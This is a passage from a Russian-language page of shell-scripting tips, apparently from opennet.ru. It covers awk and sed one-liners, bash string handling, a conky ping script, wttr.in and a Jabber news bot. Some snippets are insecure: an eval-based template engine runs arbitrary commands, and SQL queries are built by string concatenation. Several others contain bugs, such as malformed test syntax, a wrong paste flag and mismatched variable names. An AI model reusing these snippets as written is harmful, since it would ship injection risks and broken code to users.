       R0=`dd if=/dev/urandom bs=1 count=4 status=none | od -t u4 | head -1 | cut -c 8-`
       sleep `echo "scale=0;" $R0 % 3601 | bc`
    
    задержка будет случайная, равномерно распределённая в интервале от 0 до 3600 секунд.
    
     
    ----* Просмотр прогноза погоды из терминала (доп. ссылка 1)   Автор: igor_chubin  [комментарии]
     
    Чтобы просмотреть информацию о погоде из командной строки, можно обратиться к
    службе wttr.in (код сервиса открыт под лицензией Apache 2.0) с помощью curl
    или другой аналогичной программы:
    
        $ curl wttr.in
        Weather report: Moscow, Russia
    
            \\  /       Partly cloudy
          _ /"".-.     4 - 8 °C    
            \\_(   ).   -> 26 km/h   
            /(___(__)  10 km       
                       0.0 mm      
    
    
    Для просмотра информации о погоде в текущем городе или с указанием города (и
    при необходимости страны через запятую) для просмотра информации в другом городе:
    
        $ curl wttr.in/Minsk
        $ curl wttr.in/Odessa,Ukraine
    
    Кроме названий городов для указания местоположений могут использоваться:
    
    1. IP-адреса (четыре октета разделённых точкой);
    2. Доменны имена (@opennet.ru);
    3. GPS-координаты (два числа через запятую);
    4. Слова для поиска (начинается с ~: ~Eiffel+tower);
    5. Коды аэропортов (svo, dme, muc и т.д.).
    
    Прогноз погоды можно просматривать как в командной строке (с помощью curl,
    httpie или другой подобной программы) так и в браузере. Прогноз погоды так же
    может быть предоставлен
    в виде PNG файла.
    
    
    
    Опции
    
    Дополнительные опции, регулирующие количество дней в прогнозе,
    единицы измерения, вывод дополнительных данных и другие параметры
    задаются после вопросительного знака в строке запроса:
    
        $ curl wttr.in/San-Francisco?u
    
    (для просмотра прогноза с использованием системы мер USCS).
    
    Полный список доступных опций
    можно посмотреть на странице /:help:
    
        $ curl wttr.in/:help
    
    PNG-вывод и маркировка фотографий
    
    Если добавить к концу запроса суффикс ".png", то сервис предоставит прогноз
    погоды в виде PNG-файла (который будет выглядеть как вывод cURL в терминале).
    
    Этот режим можно использовать в нескольких случаях:
    
    1. Для просмотра погоды в браузере, в котором некорректно поддерживаются
    моноширинные Unicode-шрифты (главным образом старые Windows-браузеры);
    2. Для непосредственного использования в web-страницах (файл можно
    непосредственно встраивать в страницу c помощью <img src="http://wttr.in/Moscow.png"/>.
    3. Для добавления информации о погоде на фотографии:
    
       $ convert 1.jpg < ( curl wttr.in/Oymyakon_tqp0.png ) -geometry +50+50 -composite 2.jpg
    
    В этом примере к фотографии 1.jpg добавится погода в данный момент в Оймяконе и
    результат будет записан в 2.jpg.
    
    
    
    Локализация и интернационализация
    
    wttr.in переведён на более чем 40 языков народов мира в том числе на русский,
    украинский и некоторые другие языки бывших союзных республик.
    
    Выбор языка вывода определяется автоматически на основе заголовков HTTP
    (Accept-Language) или может быть задано с помощью параметра lang:
    
        $ curl wttr.in/Moscow?lang=ru
    
    Поддерживаются не только различные языки вывода, но и различные языки запросов
    (они должны быть в кодировке UTF-8).
    
    Например, такие запросы будут работать:
    
        $ curl wttr.in/станция+Восток
        $ curl wttr.in/Килиманджаро
        $ curl wttr.in/Северный+полюс
    
    и тому подобные.
    
    Это очень важно, поскольку далеко не все населённые пункты (и места) на земном
    шаре имеют англоязычное название.
    
    Для входных запросов поддерживается не только русский, но и любые другие языки.
    
    
    
    Новые функции и исходный код
    
    Сервис wttr.in постоянно развивается.
    Информация о новых функциях публикуется в твиттере главного разработчика
    проекта - https://twitter.com/igor_chubin
    и в репозитрии проекта: https://github.com/chubin/wttr.in
    
    
    Другие способы определения погоды в командной строке
    
    Службы:
    
        $ finger newyork@graph.no
    
    Программы:
    
    *   wego (нужно ключ доступа к API) - используется для визуализации
    прогноза погоды в wttr.in;
    *   weatherpy (нужен ключ доступа к API погоды);
    *   inxi (например: inxi -W Warsaw,Poland).
    
    Другие популярные сервисы для командной строки
    
    Число известных сервисов для терминала и командной строки сейчас насчитывает
    несколько десятков, и оно постоянно растёт:
        awesome-console-services
    
    Популярные сервисы для командной строки можно разделить
    на несколько групп:
    
    
  • IP-адреса и определение местоположения;
  • Размещение текста в интернете, клоны pastebin (ix.io, sprunge.us, ptpb.pw);
  • Доступ к файлам (transfer.sh);
  • Генерация текста и сообщений (whatthecommit.com, fooas.com)
  • Словари и переводчики;
  • Прочие службы (погода, игры и так далее).
  •  
    ----* Скрипт для наглядного ping с ведением лога   Автор: Kins  [комментарии]
     
    Представленный скрипт может:
    * Отображать результат пинга
    * Отображать время пинга
    * Вести лог пингов
    * Визуализировать лог пингов
    * Подавать звуковой сигнал при отсутствии пинга
    
    Код скрипта  conky.sh:
    
       #!/bin/bash
    
       #$1 - name
       #$2 - adress
       #$3 - options (f: format result, n: show name, t: show time, d: show colored dot, s: play sound, l: logging)
       #$4 - width in symbol
       #$5 - fill symbol
       #$6 - sound file
       #$7 - packetsize
    
       if [ "$7" != "" ]
       then
        tmp=-s' '$7
       fi
       a=$(ping -c 1 $2 -W 1 $tmp)
       if [ "$a" = "" ]
       then
        r='e'
        t=&#42830;
       fi
    
       if [[ "$a" =~ [0-9]*% ]]; then tmp=$BASH_REMATCH; fi
       if [ "$tmp" = "0%" ]
       then
        r='y'
        if [[ "$a" =~ time=[0-9.]*.ms ]]; then t=$BASH_REMATCH; fi
        t=${t#time=}
        t=${t% ms}
       elif [ "$tmp" = "100%" ]
       then
        r='n'
        t=&#42830;
       fi
    
       vislog=''
       #функция визуализации и ведения лога
       function vis_log
       {
       # Проверка наличия файла.
       if [ ! -f "$2" ]
       then
        #echo "Файл "$2" не найден. Создаем..."
        > $2
       fi
       
       #сколько строк лога нужно визуализировать?
       tmp=''
       if [[ "$3" =~ n ]]; then tmp=$1' '; fi
       if [[ "$3" =~ t ]]; then tmp=$tmp' '$t; fi
       if [[ "$3" =~ d ]]; then tmp=$tmp' '$r; fi
       cnt=${#tmp}
       let cnt=$4-$cnt
       #считать из лога нужное количество строк
       tmp=$(tail -n $cnt $2)
       #парсим считанные строки
       sym=''
       oldsym=''
       for ((i=1; i <= cnt ; i++))
       do
        if [[ "$tmp" =~ [eyn] ]]; then sym=$BASH_REMATCH; fi
        tmp=${tmp#*d}
        if [ "$sym" != "$oldsym" ]
        then
         case "$sym" in
          y) vislog=$vislog'${color green}';;
          n) vislog=$vislog'${color red}';;
          e) vislog=$vislog'${color yellow}';;
         esac
        fi
        oldsym=$sym
        vislog=$vislog$5
       done
       
       #записали новый результат пинга в лог
       echo "$r $t"$(date +%x' % '%X)' d' >> $2
    
       #типа ротация лога оставляем только последние $4 строк
       tail -n $4 $2 > temp.txt
       rm $2
       mv temp.txt $2
       
       }
    
       #сыграем звук если надо
       if [[ "$3" =~ s ]]; then
        if [ "$r" != 'y' ]
        then
         play $6 -q &
        fi;
       fi
       
       #окончательное оформление для conky
       res=''
       if [[ "$3" =~ l ]]; then vis_log $1 $2 $3 $4 $5; fi
       if [[ "$3" =~ n ]]; then res=$1' '; fi
       if [[ "$3" =~ f ]]; then res=$res' '$vislog; fi
       if [[ "$3" =~ t ]]; then res=$res'${color} '$t; fi
       r=${r//y/'${color 00ff00}'&#11044;}
       r=${r//n/'${color ff0000}'&#11044;}
       r=${r//e/'${color ffff00}'&#11044;}
       if [[ "$3" =~ d ]]; then res=$res' '$r; fi
       echo $res
    
    В скрипт надо передать 7 параметров:
    
    1- Отображаемое имя того, что пингуем (может не совпадать с адресом и вообще
    это просто строка от которой работа скрипта не зависит)
    
    2- Пингуемый адрес (х.х.х.х либо example.com)
    
    3- Флаги настроек:
      f - форматировать вывод (без флага ведения лога бессмысленно)
      n - отображать имя
      t - отображать время пинга (ms)
      d - отображать жирную точку текущего результата
      s - проиграть звук при отсутствии пинга
      l - вести лог
    
    4- Общая ширина строки в символах для форматирования
    
    5- Символ которым будет заполняться пространство для форматированного вывода,
    также цветом этого символа будет отображаться лог
    
    6- Имя звукового файла (необязательный параметр нужен для флага s, почему то
    путь у меня не работал пришлось файл бросить в домашний каталог)
    
    7- Длинна пакета для пинга (совсем не обязательный параметр, но очень просили)
    
    Пример конфигурации conky:
    
       {execpi 10 /home/kinsoft/conky_ping5.sh Inet 8.8.8.8 fntdls 32 . drip.ogg}
    
    отображать имя, время пинга, лог, текущий результат; играть звук; вести лог;
    форматировать строку и делать ее шириной 32 знака.
    
     
    ----* Выполнение действия при изменении или создании файла в Linux   [комментарии]
     
    Утилита inotifywait из состава пакета inotify-tools позволяет организовать выполнение 
    определенного действия в shell скрипте, при изменении, создании, удалении,
    перемещении и выполнении
    других операций с файлами.
    
    Выполняем программу при появлении нового файла в директории
    
       inotifywait -e create /home/ftp/incoming --format "%w%f" -q -m| while read file; do
         clamscan $file
      done
    
    Для отслеживания изменений вместо create можно использовать modify, удаления -
    delete, перемещения - move и т.п.
    
     
    ----* Шаблонизатор на shell (доп. ссылка 1)   Автор: Denis Nasyrtdinov  [комментарии]
     
    Часто для целей серверной автоматизации требуется генерация конфигурационных файлов.
    
    Предлагается использовать для этих целей следующую shell-конструкцию
    
    *BSD:
    
       #!/bin/sh
       config_file='test.conf'
       template_file='mytemplate'
       myvar1='variable 1'
       template=`cat ${template_file}`
       eval "echo \"${template}\"" > ${config_file}
    
    
    Linux:
    
       #!/bin/bash
       config_file='test.conf'
       template_file='mytemplate'
       myvar1='variable 1'
       template=`cat ${template_file}`
       eval "echo \"${template}\"" > ${config_file}
    
    Переменная template_file содержит путь к шаблону, остальные переменные - данные для шаблона. 
    Последная строчка - ничто иное, как "движок" шаблонизатора, eval-вычисление строки-шаблона.
    
    Пример шаблона:
    
       myvar = ${myvar1}
       this is a \" quotes test \"
       $(
        if [ ! -z ${myvar2} ]; then
         echo "myvar2 is set and its value = ${myvar2}"
        fi
       )
       
    Важно отметить, что в шаблоне следует экранировать кавычки.
    В шаблоне можно использовать не только подстановки значений, но и управляющие конструкции, 
    заключенные в скобки (см. пример шаблона).
    
     
    ----* Сортировка стандартного вывода по длине строк   Автор: pavlinux  [комментарии]
     
    Сортируем в порядке возрастания длины:
    
       cat /etc/passwd | awk '{print length, $0}' | sort -n | awk '{$1=""; print $0 }'
    
    или обратно 
    
       cat /etc/passwd | awk '{print length, $0}' | sort -rn | awk '{$1=""; print $0 }'
    
     
    ----* Примеры использования Awk (доп. ссылка 1)   [комментарии]
     
    Использование сокращений.
    
    Конструкцию, используемую для вывода строк соответствующих заданной маске:
       awk '{if ($0 ~ /pattern/) print $0}'
    
    можно сократить до
       awk '/pattern/'
    
    Условие в awk может быть задано вне скобок, т.е. получаем:
       awk '$0 ~ /pattern/ {print $0}'
    
    По умолчанию, действия производятся со всей строкой, $0 можно не указывать:
       awk '/pattern/ {print}'
    
    print - является действием по умолчанию, его тоже можно не указывать.
       awk '/pattern/'
    
    Для вывода значения первого столбца строки, в которой присутствует маска LEGO:
       awk '/LEGO/ {print $1}'
    
    Для вывода значения первого столбца строки, во втором столбце которой присутствует маска LEGO:
       awk '$2 ~ /LEGO/ {print $1}'
    
    Для замены слова LIGO на LEGO и вывода только измененных строк можно использовать:
       awk '{if(sub(/LIGO/,"LEGO")){print}}'
    
    Но есть нужно выводить все строки (как sed 's/LIGO/LEGO/'), конструкцию можно упростить 
    (1 - true для всех строк):
       awk '{sub(/LIGO/,"LEGO")}1'
    
    Вывести все строки, за исключением каждой шестой:
       awk 'NR % 6'
    
    Вывести строки, начиная с 6 (как tail -n +6 или sed '1,5d'):
       awk 'NR > 5'
    
    Вывести строки, в которых значение второго столбца равно foo:
       awk '$2 == "foo"'
    
    Вывести строки, в которых 6 и более столбцов:
       awk 'NF >= 6'
    
    Вывести строки, в которых есть слова foo и bar:
       awk '/foo/ && /bar/'
    
    Вывести строки, в которых есть слово foo, но нет bar:
       awk '/foo/ && !/bar/'
    
    Вывести строки, в которых есть слова foo или bar (как grep -e 'foo' -e 'bar'):
       awk '/foo/ || /bar/'
    
    Вывести все непустые строки:
       awk 'NF'
    
    Вывести все строки, удалив содержимое последнего столбца:
       awk 'NF--'
    
    Вывести номера строк перед содержимым:
       awk '$0 = NR" "$0'
    
    Заменим команды (пропускаем 1 строку, фильтруем строки с foo и заменяем foo на bar, 
    затем переводим в верхний регистр и выводим значение второго столбца)
       cat test.txt | head -n +1 | grep foo | sed 's/foo/bar/' | tr '[a-z]' '[A-Z]' | cut -d ' ' -f 2
    
    аналогичной конструкцией на awk:
       cat test.txt | awk 'NR>1 && /foo/{sub(/foo/,"bar"); print toupper($2)}'
    
    
    Использование диапазонов.
    
    Вывести группу строк, начиная со строки, в которой есть foo, и заканчивая
    строкой, в которой есть bar:
       awk '/foo/,/bar/'
    
    Исключив из вывода строки с вхождением заданных масок:
       awk '/foo/,/bar/{if (!/foo/ && !/bar/)print}'
    
    Более оптимальный вариант:
       awk '/bar/{p=0};p;/foo/{p=1}'
    
    Исключить только строку с завершающим вхождением (bar)
       awk '/bar/{p=0} /foo/{p=1} p'
    
    Исключить только строку с начальным вхождением (foo)
       awk 'p; /bar/{p=0} /foo/{p=1}'
    
    
    Разбиение файла по шаблонам.
    
    Имеется файл (file), в котором группы строк разделены шаблонами FOO1,FOO2 и т.д.
    Необходимо записать данные, находящиеся между метками FOO в разные файлы, 
    соответствующие указанным в FOO номерам.
       awk -v n=1 '/^FOO[0-9]*/{close("out"n);n++;next} {print > "out"n}' file
    
    В GNU Awk можно сделать так:
       LC_ALL=C gawk -v RS='FOO[0-9]*\n' -v ORS= '{print > "out"NR}' file
    
    
    Парсинг CSV.
    
    По умолчанию в качестве разделителя используются пробел и табуляция.
    Чтобы определить иной разделитель, например запятую, нужно использовать FS=',' или опцию "-F".
    В качестве параметра может быть задано регулярное выражение, например, FS='^ *| *, *| *$'
    Но для разбора CSV это не подойдет, так как пробелы могут присутствовать и внутри трок,
    поэтому проще вырезать лидирующие пробелы перед и после запятой:
    
       FS=','
       for(i=1;i<=NF;i++){
         gsub(/^ *| *$/,"",$i);
         print "Field " i " is " $i;
       }
    
    Если в CSV данные помещены в кавычки, например "field1","field2", то подойдет такой скрипт:
    
       FS=','
       for(i=1;i<=NF;i++){
         gsub(/^ *"|" *$/,"",$i);
         print "Field " i " is " $i;
       }
    
    Но скрипт придется усовершенствовать для разбора полей вида:
    
    field1, "field2,with,commas"  ,  field3  ,  "field4,foo"
    
       $0=$0",";  
       while($0) {
         match($0,/[^,]*,| *"[^"]*" *,/);
         sf=f=substr($0,RSTART,RLENGTH); 
         gsub(/^ *"?|"? *,$/,"",f);
         print "Field " ++c " is " f;
         sub(sf,"");
       }
    
    
    Проверка IPv4 адреса.
    
       awk -F '[.]' 'function ok(n) {
         return (n ~ /^([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])$/)
       }
       {exit (ok($1) && ok($2) && ok($3) && ok($4))}'
    
    
    Сравнение двух файлов.
    
    Вывод всех дублирующихся строк из двух неотсортированных файлах file1 и file2:
       awk '!($0 in a) {c++;a[$0]} END {exit(c==NR/2?0:1)}' file1 file2
    
    
    Вывод только выделенных блоков текста.
    
    Например, чтобы показать из файла с текстом только текст, отмеченный как =текст= 
    можно использовать:
       awk -v RS='=' '!(NR%2)'
    
    с форматированием переносов строк:
       awk -v RS='=' '!(NR%2){gsub(/\n/," ");print}'
    
     
    ----* Как хранить дату выполнения в истории команд bash (доп. ссылка 1)   Автор: kpblca  [комментарии]
     
    По умолчанию bash, а точнее утилита history, не сохраняет в .bash_history 
    время исполнения каждой команды.
    
    Почитал маны и оказалось, что в баше трейтье версии сделать это можно и весьма просто. 
    Если объявить глобальную переменную HISTTIMEFORMAT с форматом выводимых данных, 
    то утилита history будет сохранять и выводить эту дату.
    
    Итак, пишем в ~/.bashrc строчку
    
       export HISTTIMEFORMAT='%h %d %H:%M:%S '
    
    После этого в .bash_history перед каждой командой появится коментарий
     с цифрой - временем выполнения этой команды в формате timestamp:
    
       #1198068550
       history
       #1198139874
       ьс
       #1198139876
       mc
       #1198148168
       ssh teletrade.ru
       #1198148217
       ssh teletrade.ru
    
    А команда history будет выдавать историю данных с датой в формате,
     который мы переменной задали (в похожем формате выдают дату и время утилита ls):
    
       995  Дек 19 15:49:10 history
       996  Дек 20 11:37:54 ьс
       997  Дек 20 11:37:56 mc
       998  Дек 20 13:55:49 ssh teletrade.ru
    
    Но можно сделать и по ГОСТУ, в приятном русскому глазу виде "ДД.ММ.ГГГГ"
    
       export HISTTIMEFORMAT='%d.%m.%Y %H:%M:%S '
    
    А можно и на американский манер "YYYY-MM-DD"
    
       export HISTTIMEFORMAT='%Y-%m-%d %H:%M:%S '
    
     
    ----* Отдельный файл истории работы в bash для пользователя работающего через SU (доп. ссылка 1)   [комментарии]
     
    Чтобы поместить в отдельный лог команды выполненные в режиме su:
    
    .bash_profile
       export HISTSIZE=3000
       export HISTFILESIZE=99999
       export HISTFILE=/root/.bash_hist-$(who am i|awk '{print $1}';exit)
    
    Получим два файла истории: .bash_hist-user и .bash_hist-root
    
     
    ----* Вертикальная конкатенация двух файлов (доп. ссылка 1)   [обсудить]
     
    Склеивание столбцов данных из файлов a.txt и b.txt, с разделителем пробел, производится командой:
       
       paste -D " " 1.txt 2.txt > 3.txt
    
    1.txt:
    1 1
    2 2
    3 3
    
    2.txt:
    4
    5
    6
    
    3.txt:
    1 1 4
    2 2 5
    3 3 6
    
      paste -s -D " " 1.txt 2.txt > 3.txt
    
    3.txt:
    1 1 2 2 3 3
    4 5 6
    
     
    ----* В чем отличие .bash_profile и .bashrc (доп. ссылка 1)   [комментарии]
     
    .bash_profile загружается только при входе пользователя в систему (консольный вход, ssh), 
    в то время как  .bashrc запускается для интерактивных сервисов выполняемых без
    логина (запуск xterm).
    
     
    ----* Пример работы с MySQL в bash скриптах   Автор: Luc!f3r  [комментарии]
     
    Пример1:
    
       password='Your_MySQL_Password'
    
       MYSQL_RESULT=`mysql -e "SELECT tables_col FROM table_name" -- 
       password="$password" database_name|grep -v tables_col|xargs|sed "s/ /\n/g"`
    
       for i in $MYSQL_RESULT; do
          echo $i
       done;
    
    Пример2:
    
       mysql -sse "SELECT col FROM table" -p"$password" database | while read i
       do
          echo $i
       done
    
    Комментарий 1: Пароль лучше передавать через переменную окружения MYSQL_PWD,
    чтобы он не светился в выводе ps.
    
    Комментарий 2 (от myhand):
    Другой вариант передача пароля через локальный файл конфигурации .my.cnf,
    размещенный в корне домашней директории пользователя:
    
    Пример .my.cnf:
    
    [client]
    user = имя_пользователя
    password = пароль
    host = хост_БД
    [mysql]
    database = имя_бд
    
     
    ----* Как определить смещение в часах для текущей временной зоны в Perl и Shell   [обсудить]
     
    Perl:
       use POSIX (strftime);
       my $tz = strftime("%z", localtime); 
       $tz =~ s/(\d\d)(\d\d)/$1/; 
    
    
    Shell:
       date +%z|sed 's/[0-9][0-9]$//'
    
     
    ----* Как использовать графические диалоговые окна в shell скриптах (доп. ссылка 1)   [обсудить]
     
    Выбор Yes или No (результат в $?, 0 - yes, 1 - no, 255 - закрыто окно), "0 0" -
    размер окна по умолчанию:
        Xdialog --title "Title" --yesno "Test or not" 0 0
    
    Вывести окно с текстом (60 - это таймаут для отображения окна):
       Xdialog --msgbox "text splitting\ntest..." 0 0
       Xdialog --infobox "text splitting\ntest..." 0 0 60
    
    Запросить текст от пользователя, по умолачнию выдать test:
       user_text=`echo "test" | Xdialog --editbox "-" 0 0`
    
    Показать, что выполнено 15% работы (--progress принимает накопительные данные)
    (новые значения посылаются через stdin, как только будет больше 100 окно закроется):
       Xdialog --gauge "test" 0 0 15
       Xdialog --progress "test" 0 0 100
    
    Ввод строки от пользователя (введенная строка помещается в stdout):
       Xdialog --inputbox "test" 0 0 "string"
    
    Ввод логина и пароля (в stduot - login/password):
       Xdialog --password --2inputsbox "test" 0 0 "Login" "guest"  "Password" ""
    
    Выбор элемента из списка:
       Xdialog -combobox "test" 0 0 "Test1" "Test2" "Test3"
    
    Выбор диапазона (от 1 до 10):
       Xdialog -rangebox "test" 0 0 1 10
    
    Показывать в окне растущий хвост файла file.txt:
       Xdialog  --tailbox file.txt 0 0
       Xdialog  --logbox file.txt 0 0
    
    Выбор файла или директории
       Xdialog --fselect def_file.txt 0 0
       Xdialog --dselect def_dir 0 0
    
    Показать 5 июня на календаре
       Xdialog --calendar "test" 0 0 5 6 2005
    
     
    ----* Памятка по командам SED (доп. ссылка 1)   Автор: madskull  [обсудить]
     
       a \text - Добавить "text" после указанной строки (вывести), потом считать следующую. 
       b label - Перейти на метку, устанавливаемую, с помощью функции ":" , если label пуст, то перейти в конец скрипта. 
       c \text - Удалить pattern space и вывести "text" на output . 
       d - Удалить pattern space . 
       D - Удалить pattern space до вставленной newline . 
       g - Заместить содержимое pattern space содержимым буфера hold space . 
       G - Добавить к содержимому pattern space содержимое буфера hold space . 
       h - Заместить содержимое буфера hold space на содержимое pattern space . 
       H - Добавить к содержимому буфера hold space содержимое pattern space . 
       i \text - Вывести текст на output перед указанной строкой. 
       n - Вывести pattern space на output и считать следующую строку. 
       N - Добавить следующую строку к pattern space , разделяя строки вставленным newline . 
       p - Скопировать pattern space на output . 
       P - Скопировать pattern space до первой вставленной newline на output . 
       q - Переход на конец input . Вывести указанную строку, (если нет флага -n ) и завершить работу SED 
       r rfile - Читать содержимое rfile и вывести его на output прежде чтения следующей строки. 
       t label - Перейти на метку, устанавливаемую с помощью функции ":" , если для этой строки была 
            осуществлена замена с помощью функции "s" . Флаг осуществления замены восстанавливается 
            при чтении следующей строки или при выполнении функции "s" . 
       w wfile - Добавить pattern space к концу файла wfile . (Максимально можно использовать до 10 открытых файлов.) 
       x - Поменять местами содержимое pattern space и буфера hold space . 
       ! func - Применять функцию func (или группу функций в {} ) к стокам НЕ попадающим в указанные адреса. 
       : label - Устанавливает метку для перехода по "b" и "t" командам. 
       = - Выводит номер строки на output как строку. 
       { - Выполняет функции до "}" , только когда выбрано pattern space . Группировка функций. 
       # - Комментарий. 
       "#n" в скрипте равносильно установке флага -n 
    
    
    Примеры:
    
       Выдираем ссылки из документа
          cat index.html | sed -n 'H;${x;s/\n//g;s/ [hH][rR][eE][fF]=/\n/g;p}' | 
          # делаем ссылки в начале строки
          sed 's/[ >].*//;s/"//g'# обрубаем концы и легкая косметика
    
       Аналог dos2unix
          $ sed -i 's/\r//' file
    
       Убрать переводы строк в тексте
          $ sed -ni 'H;${x;s/\n//g;p}' file
    
     
    ----* Работа со строками в bash (доп. ссылка 1)   Автор: madskull  [обсудить]
     
       ${#string} - Длина строки
    
    Извлечение подстроки
       ${string:position} - с position до конца
       ${string:position:length} - с position длиной length символов
       ${string: -length} - последние length символов
    
    Удаление части строки
       ${string#substring} - до первого с начала
       ${string##substring} - до последнего с начала
       ${string%substring} - до первого с конца
       ${string%%substring} - до последнего с конца
    
    Замена подстроки
    
       ${string/substring/replacement} - первое вхождение
       ${string//substring/replacement} - все вхождения
       ${var/#Pattern/Replacement} - Если в переменной var найдено совпадение с Pattern, 
           причем совпадающая подстрока расположена в начале строки (префикс), 
           то оно заменяется на Replacement. Поиск ведется с начала строки
       ${var/%Pattern/Replacement} - Если в переменной var найдено совпадение с Pattern, 
           причем совпадающая подстрока расположена в конце строки (суффикс), 
           то оно заменяется на Replacement. Поиск ведется с конца строки
    
    Пример:
       a="12345"; echo "${a}"; echo "${a:3}"; echo "${a#12}"; echo "${a/12/21}"
    
     
    ----* Получение строки случайных символов в Shell   Автор: uncknown  [комментарии]
     
    Пригодится, например, для создания временных файлов:
    FreeBSD: head -c 15 /dev/random | md5 | tail -c 10
    Linux:   head -c 15 /dev/random | md5sum | head -c 10
    
     
    ----* Пример математических операций в shell используя bc (доп. ссылка 1)   [комментарии]
     
      echo "(321-123)/123" | bc -l
      echo "framing=20; minsize=64; (100*10^6)/((framing+minsize)*8)" | bc
    
    Рисование графика
      echo "framing=20; plot [64:1518] (100*10* *6)/((framing+x)*8)" | gnuplot -persist
    
    Преобразование из десятичного в шестнадцатеричный вид
      echo "obase=16;ibase=10;123" | bc
    
     
    ----* Скрипт для удаленного редактирования файлов   Автор: spanka  [комментарии]
     
    #!/bin/sh
    tmp_file=`mktemp /tmp/scp_vi.XXXXXXXXXX`
    cp /dev/null $tmp_file
    scp $1 $tmp_file
    vi $tmp_file
    scp $tmp_file $1
    rm -f $tmp_file
    
    запускать так: rvi login@host:/patch/to/file 
    В vim можно писать "vim scp://user@host.ru:/home/user/file"
    
     
    ----* Вывод времени в заданном формате в Shell   [комментарии]
     
    Для записи в переменную cur_date времени в формате год-месяц-день-час-минута:
        cur_date=`date \+\%Y_\%m_\%d_\%H_\%M`
    
     
    ----* Как в Shell выполнить определенное действие сразу после обновления файла (доп. ссылка 1)   [обсудить]
     
    fileschanged -r /shared/source/tree | while read fd; do
      stat -format="%n modified by %U at %y" $fc
    done
    
    fileschanged - http://fileschanged.sourceforge.net
    
     
    ----* Как отделить имя файла от расширения в bash и freebsd sh (доп. ссылка 1)   [комментарии]
     
    Заменяем расширение .wav на .mp3:
      file_name="file.wav"
      echo ${file_name%%.wav}.mp3
    
     
    ----* Пример использования eval и разбор параметров на Shell   [обсудить]
     
    control_param="test1 test2"
    
    num_test1="123"
    num_test2="456"
    
    for cur_item in $control_param; do
       eval num_val=\$num_$cur_item
    done
    
     
    ----* Как определить сумму столбца цифр в файле.   [обсудить]
     
    Суммируем 3-й столбец из лог файла.
    cat logfile| awk '{s += $3} END {print s}'
    
     
    ----* Цикл с счетчиком итераций на Shell   [комментарии]
     
    min_num=2
    max_num=10
    i=$min_num
    while [ $i -le $max_num ]; do
            echo "$i"
            i=$[i+1] # в зависимости от shell также подходит i=$(($i + 1)) или i=`expr $i + 1`
    done
    
     
    ----* Как пропарсить примитивный файл конфигурации на Shell (чтение файла с разбивкой по столбцам) ?   [обсудить]
     
    cat config.txt| grep -v '^ *#'| while read param1 param2; do                    
            echo "$param1 - $param2"
    done
    
     
    ----* Как в sh определить число символов в строке   Автор: Soldier  [комментарии]
     
    В FreeBSD sh и bash:
    test="string"
    len=${#test} ##Длина строки test
    char1='t' ##Первый символ для поиска
    pos1='echo $test | awk -vs=${char1} '{print index($0,s);}''  ##pos1=2 - найден
    
     
    ----* Специфичные особенности удаления элементов массивов в Bash   Автор: Омельянович Евгений  [комментарии]
     
    В руководствах Bash упоминается, что команда "unset name[N]" выполняет удаление
    элемента массива, например:
    
    https://www.gnu.org/software/bash/manual/html_node/Arrays.html#Arrays
    
       The unset builtin is used to destroy arrays. 
       unset name[subscript] destroys the array element at index subscript.
    
    https://tldp.org/LDP/abs/html/arrays.html
    
       unset colors[1]              # Remove 2nd element of array.
    
    https://www.opennet.ru/docs/RUS/bash_scripting_guide/c12790.html
    
       unset colors[1]              # Удаление 2-го элемента массива.
    
    Данное описание не соответствует действительности, так как элемент массива для
    корректного удаления необходимо заключить в кавычки '..'
    
    Для конкретного примера:
    
       unset 'colors[1]'
    
    Если не использовать кавычки, то bash попытается сделать расширение имени и
    заменит "unset colors[1]" на "unset colors1". Проверить это можно выполнив:
    
       > touch colors1
       > bash example_25_3.sh
    
     
    ----* Как преобразовать имена файлов из верхнего регистра в нижний   Автор: lavr  [комментарии]
     
      for i in `ls`; do mv "$i" `echo "$i" | tr "[:upper:]" "[:lower:]"`; done
    
     
    ----* Результат ping в скриптах   Автор: Белоусов Олег  [комментарии]
     
    ping -c 2 host_name
    if [ $? !=0]; then
       echo "Not ping!"
    else
       echo "Work normal"
    fi
    
     

       Готовые скрипты

    ----* Автоматизация отправки сообщений в Jabber на примере трансляции новостей с OpenNet (доп. ссылка 1)   Автор: Nvb13  [комментарии]
     
    Введение
    
    Получаем новости с сайта OpenNet.ru в Jabber с возможностью шифрования OpenPGP.
    
    Исходники
    
       #!/bin/bash
    
       #################################
       #				#
       #	Opennet.ru Jabber	#
       #	   News Parser		#
       #				#
       #################################
    
       ### Login/Pass/Server of bot ####
    
       Jid=""     # Only login: test
       Pass=""    # Password
       JServer="" # Exapmle.com
    
       #################################
    
       ### Jid/PGP key of recipient ####
    
       Send_to=""  # Jid: test@example.com
       Crypt="1"   # Encrypt with OpenPGP or not: 1,0
       Key_Name="" # PGP key name: my_key
    
       #################################
    
    
       sqlite3=`which sqlite3`
       DB_FILE=./opennet_db.db
    
       $sqlite3 $DB_FILE  "
            create table IF NOT EXISTS  news (
    	   id integer primary key autoincrement,
               News TEXT UNIQUE);"
    
       # Get news from Opennet.ru, and remove trash
       curl -s https://www.opennet.ru/opennews/opennews_3.txt | iconv -f koi8-r \
       | cut -d '<' -f 8 | cut -d '"' -f 2,3 | sed 's/"//g' | sed 's/>/ /g' > /tmp/opennet_temp.txt
    
    
       # Wrirt news to database
       while read line
        do
    	$sqlite3 $DB_FILE  "insert into news (News) values  ('""$line""')"
    
    	if [ $? == "0" ];then # If news not in database, encrypt it and send it to recipient
    
    		if [ "$Crypt" == 1 ]; then
                      msg=$(echo "$line" | gpg -e -r "$Key_Name" --armor | grep -v 'PGP MESSAGE' | grep -v '^$')
                      msg_tmp="/tmp/$(( ( RANDOM % 25400 )  + 1 ))"
    
                      echo "<message to='$Send_to' from='$Jid@$JServer' type='chat'>" >> $msg_tmp
                      echo "<body>This message is encrypted.</body>" >> $msg_tmp
                      echo "<x xmlns='jabber:x:encrypted'>$msg</x>" >> $msg_tmp
                      echo "</message>" >> $msg_tmp
    
                      cat $msg_tmp | sendxmpp -u "$Jid" -p "$Pass" -j "$JServer" -t --raw
                    else #Send not encrypted message
                      echo "$line"  | sendxmpp -u "$Jid" -p "$Pass" -j "$JServer" -e -t "$Send_to"
                    fi
    	fi
            sleep 2
        done < "/tmp/opennet_temp.txt"
    
        rm -rf /tmp/opennet_temp.txt "$msg_tmp"
    
        exit 0;
    
    
    Актуальный исходный код и инструкцию по установке можно загрузить на странице https://github.com/nvb13/OpenNet_to_xmpp
    
    
    
    Установка
    
    Для работы скрипта требуются sendxmpp, sqlite3, curl
    
       apt-get install sendxmpp sqlite3 curl
